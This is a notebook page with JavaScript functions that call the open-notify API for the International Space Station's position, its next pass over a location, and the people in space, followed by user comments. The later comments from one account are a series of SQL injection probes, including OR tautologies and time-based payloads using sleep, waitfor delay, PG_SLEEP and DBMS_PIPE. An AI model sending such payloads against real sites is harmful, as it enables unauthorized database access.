International Space Station

node v0.10.48
version: 4.0.0
endpointsharetweet
http://open-notify.org/ takes raw data from NASA and turns it into APIs related to space and spacecraft. We've wrapped these up into convenient function at the end of the document, but you can see their result here. Let's start by seeing where the ISS is right now:
await currentPosition();
And when will it pass over San Francisco?
// Change this to use your location in this example var myLocation = "San Francisco, CA"; await nextPass(myLocation);
And how many are in space?
await numberInSpace();
Which are:
var people = await peopleInSpace(); people.map(function(person) { return person.name + " (" + person.craft + ")"; });
Get the current position of the ISS.
async function currentPosition() { return JSON.parse(await require("request-promise")("http://api.open-notify.org/iss-now.json")).iss_position; };
Find out when the ISS will next be above you.
async function nextPass(location) { var geocode = require('notebook')('capicue/geocode/5.0.0'); return geocode.simpleLookup(location).then(function(coordinates) { var options = {lat: coordinates.lat, lon: coordinates.lng}; return require("request-promise")('http://api.open-notify.org/iss-pass.json', { qs: options }); }).then(function(passResult) { var timestamp = JSON.parse(passResult).response[0].risetime; return require("moment").unix(timestamp).fromNow(); }); };
Find out how many people are currently in space.
async function numberInSpace() { return JSON.parse(await require("request-promise")('http://api.open-notify.org/astros.json')).number; };
Then find out who they are.
async function peopleInSpace() { return JSON.parse(await require("request-promise")("http://api.open-notify.org/astros.json")).people; };
module.exports = { currentPosition: currentPosition, nextPass: nextPass, numberInSpace: numberInSpace, peopleInSpace: peopleInSpace };
Loading…

48 comments

  • posted 8 years ago by 57d86b3a53afa31400597415
    Hello World
  • posted 8 years ago by 57d9137b81f03814001dd72c
    noice
  • posted 8 years ago by 5802d4c6ac70ca0014d7801a
    wish i could could see the world from that perception
  • posted 8 years ago by ybouhjira
    hi
  • posted 8 years ago by 5827d41eca79740014170f4f
    fgdgfds
  • posted 8 years ago by 5864349dda298c00141112d4
    Cool
  • posted 8 years ago by 587faf53aabc770014e31715
    wow
  • posted 8 years ago by 589a6a68ae9e7d001447ac02
    this is insane
  • posted 7 years ago by kiwl21
    Speed up internet
  • posted 7 years ago by friedrichdsaccounty
    Awesome
  • posted 7 years ago by gxela
    Checkout the channel "World's Last Chance" on YouTube. The Earth is Flat! https://www.youtube.com/channel/UC79naBVmUyEFWNl7LA_VQDg
  • posted 7 years ago by ishwan
    awesome
  • posted 4 years ago by thecoder
    I need help lol
  • posted 3 years ago by 28443007
    mdkabir11224455@gmail.com
  • posted 2 years ago by soughman7979
    Hello World
  • posted 2 years ago by danielebarreto
    Olá
  • posted 2 years ago by tenggo8888
    hhehelhelhelo
  • posted 2 years ago by tenggo8888
    hrhhhrhhr VH
  • posted a year ago by symant233
    amazing
  • posted a year ago by nolovelies
    Here i am
  • posted 8 months ago by jeffhaji6
    , سردر نمیارم. اما چون یک تورک زبان هستم پس حتمآ از هوش بالایی برخوردارم، بزودی همه چیز را خواهم دانست
  • posted 7 months ago by sarah42
    Well here I go
  • posted 5 months ago by edisud-vhathemankan
    Thanks
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    -1 OR 2+259-259-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1 OR 2+399-399-1=0+0+0+1
  • posted a month ago by xsjybldb
    -1' OR 2+924-924-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1' OR 2+220-220-1=0+0+0+1 or 'TyU2rcBg'='
  • posted a month ago by xsjybldb
    -1" OR 2+867-867-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a month ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a month ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a month ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a month ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    jkGCt5Rt'; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -5 OR 553=(SELECT 553 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -5) OR 644=(SELECT 644 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -1)) OR 532=(SELECT 532 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    sEqRS1eN' OR 406=(SELECT 406 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    NklTRiTr') OR 582=(SELECT 582 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    mvJ7dtvX')) OR 420=(SELECT 420 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a month ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a month ago by xsjybldb
    1'"
  • posted a month ago by xsjybldb
    @@sQjOW

sign in to comment